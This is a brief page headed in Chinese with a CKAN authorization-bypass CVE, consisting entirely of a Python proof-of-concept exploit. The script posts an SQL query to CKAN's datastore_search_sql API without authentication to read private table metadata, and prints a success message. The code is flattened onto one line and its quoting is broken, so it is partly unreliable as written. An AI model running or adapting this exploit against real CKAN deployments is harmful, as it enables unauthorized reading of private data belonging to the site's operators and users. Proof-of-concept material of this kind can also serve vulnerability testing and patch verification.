CVE-2026-42032 CKAN授权绕过漏洞

import requests import json # Target URL (replace with actual vulnerable instance) target_url = "http://localhost:5000/api/3/action/datastore_search_sql" # The payload attempts to read a private table or system information # Exploiting the authorization bypass in datastore_search_sql payload = { "sql": "SELECT * FROM "_table_metadata";" } headers = { "Content-Type": "application/json" } try: # Send the request without authentication headers response = requests.post(target_url, data=json.dumps(payload), headers=headers) if response.status_code == 200: print("[+] Vulnerability exploited successfully!") print("[+] Response:") print(response.json()) else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")